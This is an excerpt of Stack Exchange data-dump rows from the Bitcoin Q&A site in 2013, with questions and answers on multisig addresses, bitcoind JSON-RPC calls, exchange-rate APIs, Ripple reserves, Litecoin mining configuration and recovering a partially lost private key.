  <row Id="10593" PostTypeId="2" ParentId="3712" CreationDate="2013-05-04T20:29:17.800" Score="13" Body="&lt;p&gt;It seems some partial implementation exists. &lt;a href=&quot;https://bitcointalk.org/index.php?topic=82213.msg906833#msg906833&quot; rel=&quot;noreferrer&quot;&gt;Quoting Gavin&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;h3&gt;Generate a multisig address:&lt;/h3&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Gather (or generate) 3 bitcoin addresses, on whichever machines will be participating, using getnewaddress or getaccountaddress  RPC commands (or copy and paste from the GUI).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Get their public keys using the &lt;code&gt;validateaddress&lt;/code&gt; RPC command 3 times.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then create a 2-of-3 multisig address using &lt;code&gt;addmultisigaddress&lt;/code&gt;; e.g.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;bitcoind addmultisigaddress 2 '[&amp;quot;044322868cb17d64dcc22185ae2d4493111d73244c3668f8ac79ecc79c0ba8d30a6756d0fa20157 709af3281cc721c7f53321a8cabda29b77900b7e4fe0174b114&amp;quot;,&amp;quot;..second pubkey..&amp;quot;,&amp;quot;..third pubkey..&amp;quot;]'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;code&gt;addmultisigaddress&lt;/code&gt; returns the multisignature address. Be a little careful, the public keys are raw hexadecimal and don't contain checksums like bitcoin addresses do. You can then send funds into that 2-of-3 transaction using the normal sendtoaddress/sendmany RPC commands, or the GUI (or anything that's been updated to recognize multisig addresses).&lt;/p&gt;&#xA;&lt;h3&gt;Spend from a multisig address:&lt;/h3&gt;&#xA;&lt;p&gt;This isn't implemented yet (RPC calls mechanism). You could gather up all addresses into one wallet, and then you would be able to spend the funds.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update March 2014&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Multisig is still hard. I believe the &lt;a href=&quot;https://github.com/spesmilo/sx#multisignature-n-m-transactions&quot; rel=&quot;noreferrer&quot;&gt;SX library&lt;/a&gt; is an easy tool (by people like Vitalik Buterin and Amir Taaki) for working with multisig, but I haven't tested that myself.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-12-08T05:42:09.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10594" PostTypeId="1" CreationDate="2013-05-04T20:42:02.363" Score="2" ViewCount="4527" Body="&lt;p&gt;I want to do a simple app that refreshes every minute to tell me the current exchange rate by Mtgox but I have a problem interpreting the JSON that some APIs return:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Mtgox's fast ticker returns &lt;a href=&quot;http://data.mtgox.com/api/2/BTCUSD/money/ticker_fast&quot; rel=&quot;nofollow&quot;&gt;this JSON&lt;/a&gt;. The question is, what's the value that I have to retrieve? There are a lot and I don't understand them, and I don't find proper docs.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoincharts' API has the &lt;a href=&quot;http://bitcoincharts.com/about/markets-api/&quot; rel=&quot;nofollow&quot;&gt;Markets Data endpoint&lt;/a&gt;, and it returns the market I want under the symbol &quot;mtgoxUSD&quot;, however it tells me the date time of latest trade, the last buy/ask, but doesn't tell me &lt;strong&gt;the exchange rate of the latest trade&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="2751" LastActivityDate="2013-11-05T19:56:16.973" Title="Simplest way of obtaining MtGox exchange rate via an API?" Tags="|mtgox|json-rpc|api|exchange-rate|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10595" PostTypeId="2" ParentId="10592" CreationDate="2013-05-04T20:44:24.367" Score="5" Body="&lt;p&gt;The Ripple account reserves are documented on &lt;a href=&quot;https://ripple.com/wiki/Reserves&quot;&gt;the Ripple wiki&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trust line reserves are only for trust that you set. Others cannot cause your reserves to increase by adding a trust line to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client warns you when you are bellow twice your current XRP reserve limit by placing a warning symbol beside your XRP summary (located at the top right of the client). Wheather the warning is shown or not, hovering the pointer over the XRP summary will provide a &quot;tool tip&quot; with the current reserve requirements.*&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If an action would put you under the reserve requirements (such as sending too much XRP, creating a trade offer, setting a new trust line) the action is refused with an error. When below the reserve requirements you can still do other transactions so long as you have enough XRP to pay the 0.000010 XRP transaction fee.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Note&lt;/strong&gt;:There is currently a client bug that causes the reserve requirements shown to be twice the old levels, about eight times the current reserve requirements.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3364" LastActivityDate="2013-05-04T20:44:24.367" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10599" PostTypeId="2" ParentId="4350" CreationDate="2013-05-05T11:53:41.180" Score="3" Body="&lt;p&gt;In addition to other options, you can just print out a cool &lt;a href=&quot;http://evilwallet.wordpress.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dr Evil (or custom) styled paper wallet&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mwll0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-05-05T11:53:41.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10600" PostTypeId="1" CreationDate="2013-05-05T12:55:49.170" Score="3" ViewCount="123" Body="&lt;p&gt;When a new block is being created, all the transactions must be verified. In order to do that, the outputs of the previous transaction must be found in the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the new transaction only refers to the previous transaction by a hash. How is that transaction located without searching the whole blockchain?&lt;/p&gt;&#xA;" OwnerUserId="4708" LastEditorUserId="44" LastEditDate="2013-05-09T23:22:20.927" LastActivityDate="2013-05-09T23:22:20.927" Title="How is the previous transaction found efficiently?" Tags="|architecture|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10601" PostTypeId="2" ParentId="3712" CreationDate="2013-05-05T15:09:08.717" Score="14" Body="&lt;p&gt;Actually, both receiving funds at and spending funds from a multi-sig address is already supported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the code to do so, plus comments, by Gavin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/gavinandresen/3966071&quot;&gt;TwoOfThree.sh&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3349" LastActivityDate="2013-05-05T15:09:08.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10602" PostTypeId="2" ParentId="10600" CreationDate="2013-05-05T16:13:26.037" Score="2" Body="&lt;p&gt;Bitcoin clients maintain a list of the current unspent outputs in a hash table.&lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2013-05-05T16:13:26.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10603" PostTypeId="2" ParentId="10568" CreationDate="2013-05-05T16:43:26.187" Score="0" Body="&lt;p&gt;That's because it's either downloading the blockchain or reindexing the blocks on disk. There should be a progress bar at the bottom.&lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2013-05-05T16:43:26.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10604" PostTypeId="1" CreationDate="2013-05-05T16:43:26.893" Score="3" ViewCount="328" Body="&lt;p&gt;Has anyone proposed or developed a proof of concept for a P2P bitcoin exchange?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me add some layers here. How would trust work in a P2P exchange? How would one actually get the money they have exchanged for? Does this require a bank to be involved?&lt;/p&gt;&#xA;" OwnerUserId="4070" LastEditorUserId="4070" LastEditDate="2013-05-05T19:55:20.577" LastActivityDate="2013-05-05T19:55:20.577" Title="A Proof of Concept for P2P Bitcoin Exchange?" Tags="|marketplace|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10605" PostTypeId="2" ParentId="10604" CreationDate="2013-05-05T16:52:48.093" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=172705.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=172705.0&lt;/a&gt;&#xA;I believe this is a suggestion for a peer-to-peer bitcoin exchange.&lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2013-05-05T16:52:48.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10606" PostTypeId="1" AcceptedAnswerId="10608" CreationDate="2013-05-05T18:14:04.737" Score="2" ViewCount="1525" Body="&lt;p&gt;This is a very simple question. I'm trying implement a client for Bitcoind JSON API and I'm stuck on this &lt;code&gt;getrawtransaction&lt;/code&gt; call:   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;id&quot;:&quot;getrawtransaction&quot;,&#xA;&quot;param&quot;:[&quot;91eb6cb34b9253cce0ab5da171a0f5aae9d3d36208e23062ba61cd9e21c09a3d&quot;,1],&#xA;&quot;method&quot;:&quot;getrawtransaction&quot;,&quot;jsonrpc&quot;:&quot;2.0&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As the result I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;result&quot;:null,&quot;error&quot;:{&quot;code&quot;:-1,&quot;message&quot;:&quot;getrawtransaction &amp;lt;txid&amp;gt; &#xA;[verbose=0]\nIf verbose=0, returns a string that is\nserialized, hex-encoded data for&#xA; &amp;lt;txid&amp;gt;.\nIf verbose is non-zero, returns an Object\nwith information about&#xA; &amp;lt;txid&amp;gt;.&quot;},&quot;id&quot;:&quot;getrawtransaction&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could someone point me at what can be wrong? I'm sure it's something simple but I cannot get it. Bitcoind v. 0.8.&lt;/p&gt;&#xA;" OwnerUserId="4723" LastActivityDate="2013-05-05T18:19:17.323" Title="What's wrong with this getrawtransaction JSON-RPC call?" Tags="|bitcoind|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10607" PostTypeId="2" ParentId="10604" CreationDate="2013-05-05T18:16:55.853" Score="2" Body="&lt;p&gt;You might want to check NashX project. It's anonymous online Person-to-Person cash exchange that uses Mutually assured destruction to create Nash equilibrium for traders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://nashx.com/&quot; rel=&quot;nofollow&quot;&gt;http://nashx.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4723" LastActivityDate="2013-05-05T18:16:55.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10608" PostTypeId="2" ParentId="10606" CreationDate="2013-05-05T18:19:17.323" Score="3" Body="&lt;p&gt;I think that should be &quot;params&quot; not &quot;param&quot;&lt;/p&gt;&#xA;" OwnerUserId="441" LastActivityDate="2013-05-05T18:19:17.323" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10609" PostTypeId="1" AcceptedAnswerId="10632" CreationDate="2013-05-05T20:17:44.820" Score="1" ViewCount="1475" Body="&lt;p&gt;I recently created a custom Public key (with vanitygen) and i would like to add the corresponding private key to my bitcoin-Qt wallet client.  I have started bitcoin-Qt in server mode using:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$ open Bitcoin-Qt.app --args -server&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then issued the following commands, yet i cannot seem to successful add the private key, can anyone tell me what i am doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ curl --user bitcoinrpc --data-binary '{&quot;method&quot;: &quot;walletlock&quot; }' http://127.0.0.1:8332/&#xA;Enter host password for user 'bitcoinrpc':&#xA;{&quot;result&quot;:null,&quot;error&quot;:null,&quot;id&quot;:null}&#xA;&#xA;$ curl --user bitcoinrpc --data-binary '{&quot;method&quot;: &quot;walletpassphrase&quot;, &quot;params&quot;: [&quot;************&quot;, 120] }' http://127.0.0.1:8332/&#xA;Enter host password for user 'bitcoinrpc':&#xA;{&quot;result&quot;:null,&quot;error&quot;:null,&quot;id&quot;:null}&#xA;&#xA;$ curl --user bitcoinrpc --data-binary '{&quot;method&quot;: &quot;walletpassphrase&quot;, &quot;params&quot;: [&quot;************&quot;, 120] }' http://127.0.0.1:8332/&#xA;Enter host password for user 'bitcoinrpc':&#xA;{&quot;result&quot;:null,&quot;error&quot;:{&quot;code&quot;:-17,&quot;message&quot;:&quot;Error: Wallet is already unlocked.&quot;},&quot;id&quot;:null}&#xA;&#xA;$ curl --user bitcoinrpc --data-binary '{&quot;method&quot;: &quot;importprivkey&quot;, &quot;params&quot;: [&quot;************&quot;, &quot;************&quot;] }' http://127.0.0.1:8332/&#xA;Enter host password for user 'bitcoinrpc':&#xA;{&quot;result&quot;:null,&quot;error&quot;:{&quot;code&quot;:-4,&quot;message&quot;:&quot;Error adding key to wallet&quot;},&quot;id&quot;:null}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So what happens is, when i try to decrypt my wallet it just says 'null' as a response.  At first i thought it wasn't actually decrypting, but if i lock it and then try twice to decrypt it, it tells me &quot;Error: Wallet is already unlocked&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Great! so it is unlocked and we should be able to now add the private key, but i just get error code -4 ? what is error -4 ? how do i make this work??&lt;/p&gt;&#xA;" OwnerUserId="4829" LastEditorUserId="2306" LastEditDate="2017-03-01T17:24:54.397" LastActivityDate="2017-03-01T17:24:54.397" Title="Bitcoin-Qt Command line - adding private key - Mac OSX" Tags="|bitcoin-core|mac|rpc-error-4|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10610" PostTypeId="1" CreationDate="2013-05-05T21:25:39.893" Score="6" ViewCount="4773" Body="&lt;p&gt;From the 100 billion of total XRP, 20 billion went to the founders and 30 billion to OpenCoin to fund development. The 50 billion remaining are supposed to be given away to promote Ripple. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any source of information tracking how many XRP have been distributed to the public?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have any of the funds for development been sold?&lt;/p&gt;&#xA;" OwnerUserId="341" LastActivityDate="2013-05-10T10:54:15.090" Title="Ripple XRP in circulation" Tags="|ripple|" AnswerCount="2" CommentCount="2" ClosedDate="2013-05-13T16:17:37.457" ContentLicense="CC BY-SA 3.0" />
  <row Id="10611" PostTypeId="1" CreationDate="2013-05-05T21:53:29.470" Score="2" ViewCount="511" Body="&lt;p&gt;Here is 1 entry from a share processed in a feathercoin mine pool:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;1367788723,accept,ffffffffffffffffffffffffffffffffffffffffffffffffffffffffff070000,http://mining-foreman.org:11341,GPU1,1,b8641194d4b41e5dbc3fb6c68477f4754e01c6ef9b6f37a84d18807cd8060000,00000001579070dc02677a4a1a5f5cbe4bec71d2788472bf5d246f341124c04e9177b2ebc8b00d25c4c8245a44c6410eba2e122101ea1e4e1b1475ebebb8c0b25f3b74ec5186ccb21c0217a29b665700000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The cgminer readme describes the format as thus:&#xA; &lt;em&gt;timestamp,disposition,target,pool,dev,thr,sharehash,sharedata&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now as I understand it, there is a difficulty reported on the cgminer screen of 8.02M. A share that solves for higher than that qualifies as successful mine.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Question 1: How is that 8.02M number arrived at (current network difficulty 122.35060749)?&lt;/li&gt;&#xA;&lt;li&gt;Q2: using the above data, how can I see what I &lt;em&gt;did&lt;/em&gt; solve for?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4776" LastEditorUserId="5406" LastEditDate="2016-04-24T10:07:34.183" LastActivityDate="2016-04-24T10:07:34.183" Title="attempting to decipher a cgminer share.log" Tags="|hash|cgminer|logging|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10613" PostTypeId="1" AcceptedAnswerId="10620" CreationDate="2013-05-05T23:33:34.650" Score="2" ViewCount="835" Body="&lt;p&gt;I am writing transaction monitoring service but I am having some problems with listing since block hash. I have bitcoind daemon and when I execute listTransactions some transactions have same block hash so if I would try to listSinceBlock I would have problems. How this all works?&lt;/p&gt;&#xA;" OwnerUserId="4529" LastActivityDate="2013-05-06T10:42:13.603" Title="block hash and list since block?" Tags="|client|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10614" PostTypeId="2" ParentId="10580" CreationDate="2013-05-05T23:46:48.997" Score="0" Body="&lt;p&gt;You can print on a piece of paper a wallet and obviously you can't connect it to the web. To deposit money to any wallet you need a valid address tied to a private key. The address is unknown to the network until someone attempts to send money to it, then it is within the blockchain forever. You use the private key to sign the bitcoins tied to that address to another wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To give you a visual representation:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/15RbD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The address you send money to is on the left and the key you need to access the bitcoins tied to the piece of paper is on the right. Blockchain's double factor authentication first encrypts your wallet and then also has an encryption for the private keys tied to the addresses within the wallet. You cannot sign for the funds in the wallet until you enter the second password thus preventing a hacked wallet from being useful. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain cannot decrypt the wallet nor the keys and thus the only possible failure event would be for their servers to crash and you losing access to your wallet. Thus you should backup your wallet often using their backup service.&lt;/p&gt;&#xA;" OwnerUserId="4070" LastActivityDate="2013-05-05T23:46:48.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10615" PostTypeId="2" ParentId="10610" CreationDate="2013-05-06T00:42:06.300" Score="4" Body="&lt;p&gt;this is pretty good article calculating how many XRPs are floating on the market&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.thebitcointrader.com/2013/05/ripple-is-now-tsunami.html&quot; rel=&quot;nofollow&quot;&gt;http://www.thebitcointrader.com/2013/05/ripple-is-now-tsunami.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2013-05-06T00:42:06.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10616" PostTypeId="1" AcceptedAnswerId="10618" CreationDate="2013-05-06T06:26:57.467" Score="0" ViewCount="195" Body="&lt;p&gt;if Ripple users would use % loans uncontrolled way?&#xA;For example:&#xA;system (gateway) have 100 bitcoins, the quantity is limited, bitcoin holders have issued 100 loans for 1 bitcoin each with 10% rate  (IOUs+10%), and then somebody lend this 100+10% to somebody for 10% more,how it would possible to return 110+10% bitcoins in real form?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hmmm....If we talkin about dollars its simple, dollars have unlimited supply and can be multiplied infinite, as about bitcoin.. maybe XRP would take role of Dollar as fiat money and bitcoin gonna be a reserve?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*sorry for poor english&lt;/p&gt;&#xA;" OwnerUserId="4802" LastEditorUserId="516" LastEditDate="2013-05-06T09:02:33.890" LastActivityDate="2013-05-06T09:57:31.220" Title="(Ripple + wire transfer) x Banking (loans) multiplicator = 2x debt crisis?" Tags="|ripple|economic-theory|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10617" PostTypeId="2" ParentId="10616" CreationDate="2013-05-06T07:57:56.060" Score="0" Body="&lt;p&gt;Short answer: XRPs will become the reserve currency.&lt;/p&gt;&#xA;" OwnerUserId="1380" LastActivityDate="2013-05-06T07:57:56.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10618" PostTypeId="2" ParentId="10616" CreationDate="2013-05-06T09:57:31.220" Score="2" Body="&lt;p&gt;First, I need to point out that this wouldn't be typical use of Ripple. Typical use would be where users trust gateways and all balances are fully backed by the gateway. There's no loans and no credit except to gateways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, if people do extend credit to each other, unless you specifically agree to do so, there is no obligation to return an asset to any real form. Typical &quot;loans&quot; in Ripple are actually even exchanges of IOUs. The IOUs are redeemable inside the Ripple system and are only redeemable outside the system if agreed. The rates are initial discounts, not interest rates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have a really good payment network and you want access to it, I might trade a $10 IOU to you for a $10.50 IOU from you (more precisely, I would agree to accept your IOUs at a 5% discount). The &quot;interest&quot; is prepaid as an initial discount. There's no need to settle or pay anyone back because the exchange was an even exchange. We both considered my $10 IOU approximately equal in value to your $12 IOU (because of my superior liquidity.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you max out your credit, I now have full access to your network (because I hold your IOUs) but you have no access to mine (because I won't accept any more of yours). To get use of the pathway again, you have to reduce the balance to below the limit. If you don't, I can just do it myself by returning your IOUs to you in exchange for other IOUs you hold -- you've already agreed to accept them when you issued them.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-05-06T09:57:31.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10619" PostTypeId="1" AcceptedAnswerId="10621" CreationDate="2013-05-06T10:18:27.277" Score="2" ViewCount="7650" Body="&lt;p&gt;I would like to do some solo mining of litecoin on OSX.  I realize the probability is low that i will hit it. but i like the idea of the lottery.  I have a miner setup (cgminer) and i have successfully connected to a pool.  I have found lots of guides that explain how to do this on Windows like:&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?PHPSESSID=3rq912e407g04cjq8ehdhnk457&amp;amp;topic=83371.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?PHPSESSID=3rq912e407g04cjq8ehdhnk457&amp;amp;topic=83371.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what all these guides tell you to do is edit litecoin.conf and then restart litecoin-qt.  But does this still apply to OSX? I don't see a litecoin.conf anywhere.  I have looked in&#xA;Library/Application Support/Litecoin&#xA;Is it still litecoin.conf in OSX? or is it a different file?&lt;/p&gt;&#xA;" OwnerUserId="4829" LastActivityDate="2013-05-06T12:54:20.940" Title="Solo mining litecoin on OSX" Tags="|litecoin|mac|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10620" PostTypeId="2" ParentId="10613" CreationDate="2013-05-06T10:42:13.603" Score="3" Body="&lt;p&gt;The block hash identifies a block. A block can contain multiple transactions, so &lt;code&gt;listsinceblock&lt;/code&gt; lists all transactions in blocks newer than the given block hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So f.e., if you have this block structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;block 5 hash: qwertyyuiop&#xA;|   tx100,tx101,tx102,tx103&#xA;v&#xA;block 6 hash: asdfghjklkl&#xA;|   tx104,tx105,tx106,tx107,tx108&#xA;v&#xA;block 7 hash: zxcvbnmnbvc&#xA;    tx109,tx110,tx111&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you would do &lt;code&gt;listsinceblock qwertyyuiop&lt;/code&gt;, you would get all transactions in blocks older than block 5, so &lt;code&gt;tx104&lt;/code&gt; all the way up to &lt;code&gt;tx111&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-05-06T10:42:13.603" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10621" PostTypeId="2" ParentId="10619" CreationDate="2013-05-06T10:53:47.553" Score="2" Body="&lt;p&gt;~/Library/Application Support/Litecoin is exactly where your litecoin.conf has to go. Just go ahead and create it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good Luck with the Lottery!&lt;/p&gt;&#xA;" OwnerUserId="4638" LastActivityDate="2013-05-06T10:53:47.553" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10622" PostTypeId="1" AcceptedAnswerId="10630" CreationDate="2013-05-06T11:00:10.023" Score="3" ViewCount="1643" Body="&lt;p&gt;I know we have blockchain.info for bitcoin &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to track a missing FTC transaction going to btc-e (seems a very common thing money going missing with these jokers) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any similar tools for both Litecoin and Feathercoin FTC so I can hold these guiys to account or confirm that my funds where sent etc ?&lt;/p&gt;&#xA;" OwnerUserId="2464" LastActivityDate="2015-07-11T10:41:10.043" Title="Alt currencys blockchain viewer" Tags="|blockchain|litecoin|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10623" PostTypeId="1" CreationDate="2013-05-06T11:08:09.190" Score="6" ViewCount="979" Body="&lt;p&gt;Is it possible to recover the last few lost digits (10) of my Litecoin wallet private key? Are there any recovery tools available? Or will I have to try and roll my own? Crucially, what crypto function will I be working against?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that a upper/lower alphanumeric 10char keyspace is effectively uncrackable, but this key was in wallet import format, which I understand incorporates some redundancy/error detection à la MOD10 credit card number verification. I'm wondering if 10 characters of lost private key is therefore recoverable in a reasonable time frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back story:&#xA;When I hurriedly 'saved' my liteaddress.org keypair as a PDF using Chrome, 10 chars of the private key were clipped. It actually appeared to be 15 or so missing characters that were clipped, but a PDF recovery tool revealed some of the hidden characters. I did not notice this at the time, and paid into the wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My lost wallet contains the proceeds of most of my mining to date. It's not a huge amount of money, but it would be a shame to waste it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware that this all sounds extremely dodgy. As a testament to the fact I am seeking to recover my own key and not someone else's, I am happy to use my real name / main Stack Exchange profile to ask this question.&lt;/p&gt;&#xA;" OwnerUserId="4853" LastEditorUserId="5406" LastEditDate="2014-06-17T21:42:31.397" LastActivityDate="2019-08-26T12:27:39.130" Title="Recovering the last few digits of a Litecoin private key" Tags="|litecoin|cryptography|recover-private-key|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10624" PostTypeId="2" ParentId="10594" CreationDate="2013-05-06T11:55:47.843" Score="-2" Body="&lt;p&gt;This here is a bitcoin ticker app it shows the MTGox bitcoin price with a small lag and is self refreshing. It also supports GBP, EUR and Yen. This is the link to the blog post &lt;a href=&quot;http://bitkapp.com/blog/bitcoin-price-ticker/&quot; rel=&quot;nofollow&quot;&gt;http://bitkapp.com/blog/bitcoin-price-ticker/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simplest way of receiving the bitcoin exchange rate without a self refreshing feature is done by the following python script.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import json&#xA;import urllib2&#xA;from Tkinter import *&#xA;&#xA;url='http://api.bitcoincharts.com/v1/markets.json'&#xA;req=urllib2.Request(url)&#xA;response=urllib2.urlopen(req).read()&#xA;output=json.loads(response)&#xA;&#xA;mtusd_price = output[-10]['avg']&#xA;mteur_price = output[31]['avg']&#xA;mtgbp_price = output[44]['avg']&#xA;&#xA;MTUSD= 'USD' + ' ' + str(mtusd_price)&#xA;MTEUR= 'EUR' + ' ' + str(mteur_price)&#xA;MTGBP = 'GBP' + ' ' + str(mtgbp_price)&#xA;&#xA;root= Tk()&#xA;root.title(&quot;Bitcoin Price&quot;)&#xA;root.geometry(&quot;250x100&quot;)&#xA;&#xA;USD = Label(root, text=MTUSD)&#xA;EUR = Label(root, text=MTEUR)&#xA;GBP = Label(root, text=MTGBP)&#xA;USD.pack()&#xA;EUR.pack()&#xA;GBP.pack()&#xA;mainloop()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you run this script it will open a window displaying the price at that instant in USD, EUR and GBP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im sorry for previous post as it was obviously not clear enough.&lt;/p&gt;&#xA;" OwnerUserId="4854" LastActivityDate="2013-05-06T11:55:47.843" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
